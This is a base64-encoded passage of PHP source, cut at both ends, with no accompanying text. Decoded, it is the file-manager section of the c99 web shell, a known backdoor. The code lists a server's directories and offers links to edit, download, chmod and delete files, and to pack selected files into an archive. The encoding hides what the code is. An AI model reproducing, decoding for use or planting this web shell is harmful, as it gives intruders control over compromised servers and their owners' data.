cm91cCgkdikpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRy
b3dbXSA9IGZpbGVwZXJtcygkdik7DQogICAgICAgICAgICAgICAgICAgIGlmICgoJG8gPT0gIi4i
KSBvciAoJG8gPT0gIi4uIikpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICRvYmplY3RzWyJoZWFkIl1bXSA9ICRyb3c7DQogICAgICAgICAgICAgICAgICAg
IH0NCiAgICAgICAgICAgICAgICAgICAgZWxzZWlmIChpc19saW5rKCR2KSkNCiAgICAgICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJG9iamVjdHNbImxpbmtzIl1bXSA9
ICRyb3c7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWxzZWlm
IChpc19kaXIoJHYpKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAg
ICAgICAkb2JqZWN0c1siZm9sZGVycyJdW10gPSAkcm93Ow0KICAgICAgICAgICAgICAgICAgICB9
DQogICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoaXNfZmlsZSgkdikpDQogICAgICAgICAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRvYmplY3RzWyJmaWxlcyJdW10gPSAk
cm93Ow0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRpKys7DQog
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRyb3cgPSBhcnJheSgpOw0KICAgICAg
ICAgICAgICAgICRyb3dbXSA9ICI8Yj5OYW1lPC9iPiI7DQogICAgICAgICAgICAgICAgJHJvd1td
ID0gIjxiPlNpemU8L2I+IjsNCiAgICAgICAgICAgICAgICAkcm93W10gPSAiPGI+TW9kaWZ5PC9i
PiI7DQogICAgICAgICAgICAgICAgaWYgKCEkd2luKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAgICAgJHJvd1tdID0gIjxiPk93bmVyL0dyb3VwPC9iPiI7DQogICAgICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgICAgICRyb3dbXSA9ICI8Yj5QZXJtczwvYj4iOw0KICAgICAg
ICAgICAgICAgICRyb3dbXSA9ICI8Yj5BY3Rpb248L2I+IjsNCiAgICAgICAgICAgICAgICAkcGFy
c2Vzb3J0ID0gcGFyc2Vzb3J0KCRzb3J0KTsNCiAgICAgICAgICAgICAgICAkc29ydCA9ICRwYXJz
ZXNvcnRbMF0gLiAkcGFyc2Vzb3J0WzFdOw0KICAgICAgICAgICAgICAgICRrID0gJHBhcnNlc29y
dFswXTsNCiAgICAgICAgICAgICAgICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpDQogICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkcGFyc2Vzb3J0WzFdID0gImQiOw0KICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkeSA9ICI8YSBocmVmPVwiIiAuICRzdXJs
IC4gImFjdD0iIC4gJGRzcGFjdCAuICImZD0iIC4gdXJsZW5jb2RlKCRkKSAuICImc29ydD0iIC4g
JGsgLiAoJHBhcnNlc29ydFsxXSA9PSAiYSIgPyAiZCIgOiAiYSIpIC4gIlwiPiI7DQogICAgICAg
ICAgICAgICAgJHkgLj0gIjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPXNvcnRf
IiAuICgkc29ydFsxXSA9PSAiYSIgPyAiYXNjIiA6ICJkZXNjIikgLiAiXCIgaGVpZ2h0PVwiOVwi
IHdpZHRoPVwiMTRcIiBhbHQ9XCIiIC4gKCRwYXJzZXNvcnRbMV0gPT0gImEiID8gIkFzYy4iIDog
IkRlc2MiKSAuICJcIiBib3JkZXI9XCIwXCI+PC9hPiI7DQogICAgICAgICAgICAgICAgJHJvd1sk
a10gLj0gJHk7DQogICAgICAgICAgICAgICAgZm9yICgkaSA9IDA7JGkgPCBjb3VudCgkcm93KSAt
IDE7JGkrKykNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGlmICgkaSAh
PSAkaykNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJv
d1skaV0gPSAiPGEgaHJlZj1cIiIgLiAkc3VybCAuICJhY3Q9IiAuICRkc3BhY3QgLiAiJmQ9IiAu
IHVybGVuY29kZSgkZCkgLiAiJnNvcnQ9IiAuICRpIC4gJHBhcnNlc29ydFsxXSAuICJcIj4iIC4g
JHJvd1skaV0gLiAiPC9hPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICB9DQogICAgICAgICAgICAgICAgJHYgPSAkcGFyc2Vzb3J0WzBdOw0KICAgICAgICAgICAgICAg
IHVzb3J0KCRvYmplY3RzWyJmb2xkZXJzIl0sICJ0YWJzb3J0Iik7DQogICAgICAgICAgICAgICAg
dXNvcnQoJG9iamVjdHNbImxpbmtzIl0sICJ0YWJzb3J0Iik7DQogICAgICAgICAgICAgICAgdXNv
cnQoJG9iamVjdHNbImZpbGVzIl0sICJ0YWJzb3J0Iik7DQogICAgICAgICAgICAgICAgaWYgKCRw
YXJzZXNvcnRbMV0gPT0gImQiKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg
ICAgJG9iamVjdHNbImZvbGRlcnMiXSA9IGFycmF5X3JldmVyc2UoJG9iamVjdHNbImZvbGRlcnMi
XSk7DQogICAgICAgICAgICAgICAgICAgICRvYmplY3RzWyJmaWxlcyJdID0gYXJyYXlfcmV2ZXJz
ZSgkb2JqZWN0c1siZmlsZXMiXSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAg
ICRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJG9iamVjdHNbImhlYWQiXSwgJG9iamVjdHNbImZvbGRl
cnMiXSwgJG9iamVjdHNbImxpbmtzIl0sICRvYmplY3RzWyJmaWxlcyJdKTsNCiAgICAgICAgICAg
ICAgICAkdGFiID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAkdGFiWyJjb2xzIl0gPSBhcnJh
eSgNCiAgICAgICAgICAgICAgICAgICAgJHJvdw0KICAgICAgICAgICAgICAgICk7DQogICAgICAg
ICAgICAgICAgJHRhYlsiaGVhZCJdID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAkdGFiWyJm
b2xkZXJzIl0gPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgICR0YWJbImxpbmtzIl0gPSBhcnJh
eSgpOw0KICAgICAgICAgICAgICAgICR0YWJbImZpbGVzIl0gPSBhcnJheSgpOw0KICAgICAgICAg
ICAgICAgICRpID0gMDsNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkYSkN
CiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICR2ID0gJGFbMF07DQogICAg
ICAgICAgICAgICAgICAgICRvID0gYmFzZW5hbWUoJHYpOw0KICAgICAgICAgICAgICAgICAgICAk
ZGlyID0gZGlybmFtZSgkdik7DQogICAgICAgICAgICAgICAgICAgIGlmICgkZGlzcF9mdWxscGF0
aCkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGRpc3Bw
YXRoID0gJHY7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWxz
ZQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZGlzcHBh
dGggPSAkbzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkZGlz
cHBhdGggPSBzdHIybWluaSgkZGlzcHBhdGgsIDYwKTsNCiAgICAgICAgICAgICAgICAgICAgaWYg
KGluX2FycmF5KCR2LCAkc2Vzc19kYXRhWyJjdXQiXSkpDQogICAgICAgICAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICAgICAgICAgICRkaXNwcGF0aCA9ICI8c3RyaWtlPiIgLiAkZGlzcHBh
dGggLiAiPC9zdHJpa2U+IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAg
ICAgICBlbHNlaWYgKGluX2FycmF5KCR2LCAkc2Vzc19kYXRhWyJjb3B5Il0pKQ0KICAgICAgICAg
ICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZGlzcHBhdGggPSAiPHU+IiAu
ICRkaXNwcGF0aCAuICI8L3U+IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
ICAgICAgICBmb3JlYWNoICgkcmVneHBfaGlnaGxpZ2h0IGFzICRyKQ0KICAgICAgICAgICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgkclswXSwgJG8p
KQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGlmICgoIWlzX251bWVyaWMoJHJbMV0pKSBvciAoJHJbMV0gPiAzKSkNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyWzFdID0g
MDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2JfY2xlYW4oKTsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiV2FybmluZyEgQ29uZmlndXJhdGlvbiBlcnJv
ciBpbiBcJHJlZ3hwX2hpZ2hsaWdodFsiIC4gJGsgLiAiXVswXSAtIHVua25vd24gY29tbWFuZC4i
Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjOTlzaGV4aXQoKTsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgJHJbMV0gPSByb3VuZCgkclsxXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRpc2RpciA9IGlzX2Rpcigkdik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGlmICgoJHJbMV0gPT0gMCkgb3IgKCgkclsxXSA9PSAxKSBhbmQgISRpc2Rpcikgb3IgKCgkclsx
XSA9PSAyKSBhbmQgISRpc2RpcikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkclsyXSkpDQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgJHJbMl0gPSAiPGI+IjsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAkclszXSA9ICI8L2I+IjsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRk
aXNwcGF0aCA9ICRyWzJdIC4gJGRpc3BwYXRoIC4gJHJbM107DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBpZiAoJHJbNF0pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAg
ICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICAgICAgJHVvID0gdXJsZW5jb2RlKCRvKTsNCiAgICAgICAgICAgICAgICAgICAgJHVkID0gdXJs
ZW5jb2RlKCRkaXIpOw0KICAgICAgICAgICAgICAgICAgICAkdXYgPSB1cmxlbmNvZGUoJHYpOw0K
ICAgICAgICAgICAgICAgICAgICAkcm93ID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAg
aWYgKCRvID09ICIuIikNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAg
ICAgICAgJHJvd1tdID0gIjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPXNtYWxs
X2RpclwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj4mbmJzcDs8YSBo
cmVmPVwiIiAuICRzdXJsIC4gImFjdD0iIC4gJGRzcGFjdCAuICImZD0iIC4gdXJsZW5jb2RlKHJl
YWxwYXRoKCRkIC4gJG8pKSAuICImc29ydD0iIC4gJHNvcnQgLiAiXCI+IiAuICRvIC4gIjwvYT4i
Ow0KICAgICAgICAgICAgICAgICAgICAgICAgJHJvd1tdID0gIkxJTksiOw0KICAgICAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoJG8gPT0gIi4uIikNCiAgICAg
ICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJvd1tdID0gIjxpbWcg
c3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPWV4dF9sbmtcIiBoZWlnaHQ9XCIxNlwiIHdp
ZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIgLiAkc3VybCAuICJhY3Q9
IiAuICRkc3BhY3QgLiAiJmQ9IiAuIHVybGVuY29kZShyZWFscGF0aCgkZCAuICRvKSkgLiAiJnNv
cnQ9IiAuICRzb3J0IC4gIlwiPiIgLiAkbyAuICI8L2E+IjsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICRyb3dbXSA9ICJMSU5LIjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
ICAgICAgICBlbHNlaWYgKGlzX2RpcigkdikpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAgICAgICAgIGlmIChpc19saW5rKCR2KSkNCiAgICAgICAgICAgICAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcHBhdGggLj0gIiA9PiAiIC4g
cmVhZGxpbmsoJHYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gIkxJTksi
Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyb3dbXSA9ICI8aW1nIHNyYz1cIiIgLiAk
c3VybCAuICJhY3Q9aW1nJmltZz1leHRfbG5rXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIg
Ym9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiIC4gJHN1cmwgLiAiYWN0PWxzJmQ9IiAuICR1
diAuICImc29ydD0iIC4gJHNvcnQgLiAiXCI+WyIgLiAkZGlzcHBhdGggLiAiXTwvYT4iOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAg
ICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0eXBl
ID0gIkRJUiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJvd1tdID0gIjxpbWcgc3Jj
PVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPXNtYWxsX2RpclwiIGhlaWdodD1cIjE2XCIgd2lk
dGg9XCIxOVwiIGJvcmRlcj1cIjBcIj4mbmJzcDs8YSBocmVmPVwiIiAuICRzdXJsIC4gImFjdD1s
cyZkPSIgLiAkdXYgLiAiJnNvcnQ9IiAuICRzb3J0IC4gIlwiPlsiIC4gJGRpc3BwYXRoIC4gIl08
L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAg
ICRyb3dbXSA9ICR0eXBlOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
ICAgIGVsc2VpZiAoaXNfZmlsZSgkdikpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICRleHQgPSBleHBsb2RlKCIuIiwgJG8pOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgJGMgPSBjb3VudCgkZXh0KSAtIDE7DQogICAgICAgICAgICAgICAgICAgICAgICAk
ZXh0ID0gJGV4dFskY107DQogICAgICAgICAgICAgICAgICAgICAgICAkZXh0ID0gc3RydG9sb3dl
cigkZXh0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyb3dbXSA9ICI8aW1nIHNyYz1cIiIg
LiAkc3VybCAuICJhY3Q9aW1nJmltZz1leHRfIiAuICRleHQgLiAiXCIgYm9yZGVyPVwiMFwiPiZu
YnNwOzxhIGhyZWY9XCIiIC4gJHN1cmwgLiAiYWN0PWYmZj0iIC4gJHVvIC4gIiZkPSIgLiAkdWQg
LiAiJlwiPiIgLiAkZGlzcHBhdGggLiAiPC9hPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAk
cm93W10gPSB2aWV3X3NpemUoJGFbMV0pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAg
ICAgICAgICAgICAgICRyb3dbXSA9IGRhdGUoImQubS5ZIEg6aTpzIiwgJGFbMl0pOw0KICAgICAg
ICAgICAgICAgICAgICBpZiAoISR3aW4pDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICRyb3dbXSA9ICRhWzNdOw0KICAgICAgICAgICAgICAgICAgICB9DQog
ICAgICAgICAgICAgICAgICAgICRyb3dbXSA9ICI8YSBocmVmPVwiIiAuICRzdXJsIC4gImFjdD1j
aG1vZCZmPSIgLiAkdW8gLiAiJmQ9IiAuICR1ZCAuICJcIj48Yj4iIC4gdmlld19wZXJtc19jb2xv
cigkdikgLiAiPC9iPjwvYT4iOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJG8gPT0gIi4iKQ0K
ICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2hlY2tib3gg
PSAiPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJhY3Rib3hbXVwiIG9uY2xpY2s9XCJs
c19yZXZlcnNlX2FsbCgpO1wiPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAkaS0tOw0KICAg
ICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoZWNrYm94ID0gIjxpbnB1dCB0
eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYWN0Ym94W11cIiBpZD1cImFjdGJveCIgLiAkaSAuICJc
IiB2YWx1ZT1cIiIgLiBodG1sc3BlY2lhbGNoYXJzKCR2KSAuICJcIj4iOw0KICAgICAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHYpKQ0KICAgICAgICAg
ICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcm93W10gPSAiPGEgaHJlZj1c
IiIgLiAkc3VybCAuICJhY3Q9ZCZkPSIgLiAkdXYgLiAiXCI+PGltZyBzcmM9XCIiIC4gJHN1cmwg
LiAiYWN0PWltZyZpbWc9ZXh0X2RpelwiIGFsdD1cIkluZm9cIiBoZWlnaHQ9XCIxNlwiIHdpZHRo
PVwiMTZcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyIgLiAkY2hlY2tib3g7DQogICAgICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIgLiAkc3Vy
bCAuICJhY3Q9ZiZmPSIgLiAkdW8gLiAiJmZ0PWluZm8mZD0iIC4gJHVkIC4gIlwiPjxpbWcgc3Jj
PVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgaGVpZ2h0
PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIiAu
ICRzdXJsIC4gImFjdD1mJmY9IiAuICR1byAuICImZnQ9ZWRpdCZkPSIgLiAkdWQgLiAiXCI+PGlt
ZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0PWltZyZpbWc9Y2hhbmdlXCIgYWx0PVwiQ2hhbmdlXCIg
aGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE5XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVm
PVwiIiAuICRzdXJsIC4gImFjdD1mJmY9IiAuICR1byAuICImZnQ9ZG93bmxvYWQmZD0iIC4gJHVk
IC4gIlwiPjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPWRvd25sb2FkXCIgYWx0
PVwiRG93bmxvYWRcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+PC9h
PiZuYnNwOyIgLiAkY2hlY2tib3g7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAg
ICAgICAgICAgaWYgKCgkbyA9PSAiLiIpIG9yICgkbyA9PSAiLi4iKSkNCiAgICAgICAgICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHRhYlsiaGVhZCJdW10gPSAkcm93Ow0K
ICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoaXNfbGlu
aygkdikpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0
YWJbImxpbmtzIl1bXSA9ICRyb3c7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAg
ICAgICAgICAgZWxzZWlmIChpc19kaXIoJHYpKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAg
ICAgICAgICAgICAgICAgICAgICAkdGFiWyJmb2xkZXJzIl1bXSA9ICRyb3c7DQogICAgICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWxzZWlmIChpc19maWxlKCR2KSkNCiAg
ICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHRhYlsiZmlsZXMi
XVtdID0gJHJvdzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAk
aSsrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICR0YWJs
ZSA9IGFycmF5X21lcmdlKCR0YWJbImNvbHMiXSwgJHRhYlsiaGVhZCJdLCAkdGFiWyJmb2xkZXJz
Il0sICR0YWJbImxpbmtzIl0sICR0YWJbImZpbGVzIl0pOw0KICAgICAgICAgICAgZWNobyAiPGNl
bnRlcj48Yj5MaXN0aW5nIGZvbGRlciAoIiAuIGNvdW50KCR0YWJbImZpbGVzIl0pIC4gIiBmaWxl
cyBhbmQgIiAuIChjb3VudCgkdGFiWyJmb2xkZXJzIl0pICsgY291bnQoJHRhYlsibGlua3MiXSkp
IC4gIiBmb2xkZXJzKTo8L2I+PC9jZW50ZXI+PGJyPjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQ
YWRkaW5nPTAgd2lkdGg9MTAwJSBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jNDMz
MzMzIGJvcmRlcj0wPjxmb3JtIGFjdGlvbj1cIiIgLiAkc3VybCAuICJcIiBtZXRob2Q9UE9TVCBu
YW1lPVwibHNfZm9ybVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iIC4gJGRz
cGFjdCAuICI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iIC4gJGQgLiAiPiI7DQog
ICAgICAgICAgICBmb3JlYWNoICgkdGFibGUgYXMgJHJvdykNCiAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICBlY2hvICI8dHI+XHJcbiI7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHJv
dyBhcyAkdikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0
ZD4iIC4gJHYgLiAiPC90ZD5cclxuIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAg
ICAgZWNobyAiPC90cj5cclxuIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gIjwv
dGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cInJpZ2h0XCI+DQogIDxzY3Jp
cHQ+DQogIGZ1bmN0aW9uIGxzX3NldGNoZWNrYm94YWxsKHN0YXR1cykNCiAgew0KICAgdmFyIGlk
ID0gMDsNCiAgIHZhciBudW0gPSAiIC4gKGNvdW50KCR0YWJsZSkgLSAyKSAuICI7DQogICB3aGls
ZSAoaWQgPD0gbnVtKQ0KICAgew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gn
K2lkKS5jaGVja2VkID0gc3RhdHVzOw0KICAgIGlkKys7DQogICB9DQogIH0NCiAgZnVuY3Rpb24g
bHNfcmV2ZXJzZV9hbGwoKQ0KICB7DQogICB2YXIgaWQgPSAwOw0KICAgdmFyIG51bSA9ICIgLiAo
Y291bnQoJHRhYmxlKSAtIDIpIC4gIjsNCiAgIHdoaWxlIChpZCA8PSBudW0pDQogICB7DQogICAg
ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQgPSAhZG9jdW1lbnQu
Z2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQ7DQogICAgaWQrKzsNCiAgIH0NCiAg
fQ0KICA8L3NjcmlwdD4NCiAgPGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0
Y2hlY2tib3hhbGwodHJ1ZSk7XCIgdmFsdWU9XCJTZWxlY3QgYWxsXCI+Jm5ic3A7Jm5ic3A7PGlu
cHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwoZmFsc2UpO1wi
IHZhbHVlPVwiVW5zZWxlY3QgYWxsXCI+IA0KICA8Yj48aW1nIHNyYz1cIiIgLiAkc3VybCAuICJh
Y3Q9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+IjsNCiAgICAgICAgICAgIGlmIChj
b3VudChhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sICRzZXNzX2RhdGFbImN1dCJdKSkg
PiAwIGFuZCAoJHVzZWZzYnVmZikpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNo
byAiPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9YWN0YXJjYnVmZiB2YWx1ZT1cIlBhY2sgYnVmZmVy
IHRvIGFyY2hpdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiYWN0YXJjYnVm
Zl9wYXRoXCIgdmFsdWU9XCJhcmNoaXZlXyIgLiBzdWJzdHIobWQ1KHJhbmQoMSwgMTAwMCkgLiBy
YW5kKDEsIDEwMDApKSAsIDAsIDUpIC4gIi50YXIuZ3pcIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJz
cDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1cImFjdHBhc3RlYnVmZlwiIHZh
bHVlPVwiUGFzdGVcIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQg
dHlwZT1zdWJtaXQgbmFtZT1cImFjdGVtcHR5YnVmZlwiIHZhbHVlPVwiRW1wdHkgYnVmZmVyXCI+
Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgIGVjaG8gIjxzZWxlY3QgbmFtZT1hY3Q+PG9wdGlvbiB2YWx1ZT1cIiIgLiAkYWN0
IC4gIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsNCiAgICAgICAgICAgIGVjaG8gIjxvcHRp
b24gdmFsdWU9ZGVsZXRlIiAuICgkZHNwYWN0ID09ICJkZWxldGUiID8gIiBzZWxlY3RlZCIgOiAi
IikgLiAiPkRlbGV0ZTwvb3B0aW9uPiI7DQogICAgICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVl
PWNobW9kIiAuICgkZHNwYWN0ID09ICJjaG1vZCIgPyAiIHNlbGVjdGVkIiA6ICIiKSAuICI+Q2hh
bmdlLW1vZGU8L29wdGlvbj4iOw0KICAgICAgICAgICAgaWYgKCR1c2Vmc2J1ZmYpDQogICAgICAg
